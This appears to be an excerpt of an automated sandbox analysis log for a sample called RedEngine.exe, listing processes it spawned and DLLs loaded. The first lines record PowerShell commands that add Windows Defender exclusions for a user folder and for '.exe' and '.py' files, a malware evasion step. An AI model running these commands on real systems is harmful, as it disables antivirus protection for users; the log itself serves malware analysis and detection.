Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\user\Local"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'"
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Process created: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe "C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe"
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Process created: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe "C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe"

Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinui.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.appdefaults.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.immersive.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: actxprxy.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uiautomationcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dui70.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: duser.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uianimation.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dcomp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: oleacc.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: inputhost.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: slc.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: tiledatarepository.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: staterepository.core.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepository.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositorycore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: mrmcorer.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: directmanipulation.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
